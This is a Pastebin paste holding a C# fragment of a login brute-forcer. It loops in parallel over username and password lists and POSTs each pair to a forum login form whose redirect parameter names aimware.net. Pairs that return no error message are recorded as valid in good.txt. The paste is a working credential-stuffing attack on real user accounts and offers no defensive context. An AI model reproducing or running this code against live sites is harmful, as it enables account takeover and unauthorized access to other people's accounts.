Advertisement
Guest User

Untitled

a guest
Aug 11th, 2018
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  Parallel.For(0, log.Length, new ParallelOptions(), i =>
  2.             {
  3.                 Parallel.For(0, pas.Length + 1, j =>
  4.                 {
  5.  
  6.                     using (WebClient test = new WebClient())
  7.                     {
  8.                        
  9.                         if (j == pas.Length)
  10.                         {
  11.                             WriteResult(log, i, log, i, test, URI, ref clear,
  12.                                 ref check, ref good);
  13.                         }
  14.                         else
  15.                         {
  16.                             WriteResult(log, i, pas, j, test, URI, ref clear,
  17.                                 ref check, ref good);
  18.                         }
  19.                     }
  20.  
  21.                 });
  22.  
  23.             });
  24.  
  25.  
  26.             Console.ReadKey();
  27.         }
  28.  
  29.         private static void WriteResult(string[] log, int i, string[] pas, int j, WebClient test, string URI, ref int clear,
  30.              ref int check, ref int good)
  31.         {
  32.             test.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
  33.             string Parameters = "username=" + log[i] + "&password=" + pas[j] +
  34.                          "&submit=Login&action=do_login&url=https%3A%2F%2Faimware.net%2Fforum%2Findex.php";
  35.             string HtmlResult = test.UploadString(URI, Parameters);
  36.             {
  37.                 if (HtmlResult.Contains("Please correct the following"))
  38.                 {
  39.                     if (clear == 200)
  40.                     {
  41.                         Console.Clear();
  42.                     }
  43.  
  44.                     check++;
  45.                     clear++;
  46.                     Console.WriteLine(
  47.                         "Account " + log[i] + ":" + pas[j] + " is invalid" +
  48.                         "\nchecked variants: " + check + " Good: " + good);
  49.                 }
  50.                 else
  51.                 {
  52.                     good++;
  53.                     Console.WriteLine(
  54.                         "Account " + log[i] + ":" + pas[j] + " is valid " +
  55.                         "\nchecked variants: " + check + " Good: " + good);
  56.                     using (var sw =
  57.                         File.AppendText(Environment.CurrentDirectory + @"\good.txt"))
  58.                     {
  59.                         sw.WriteLine(log[i] + ":" + pas[j] + "\n");
  60.                     }
  61.                 }
  62.             }
  63.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement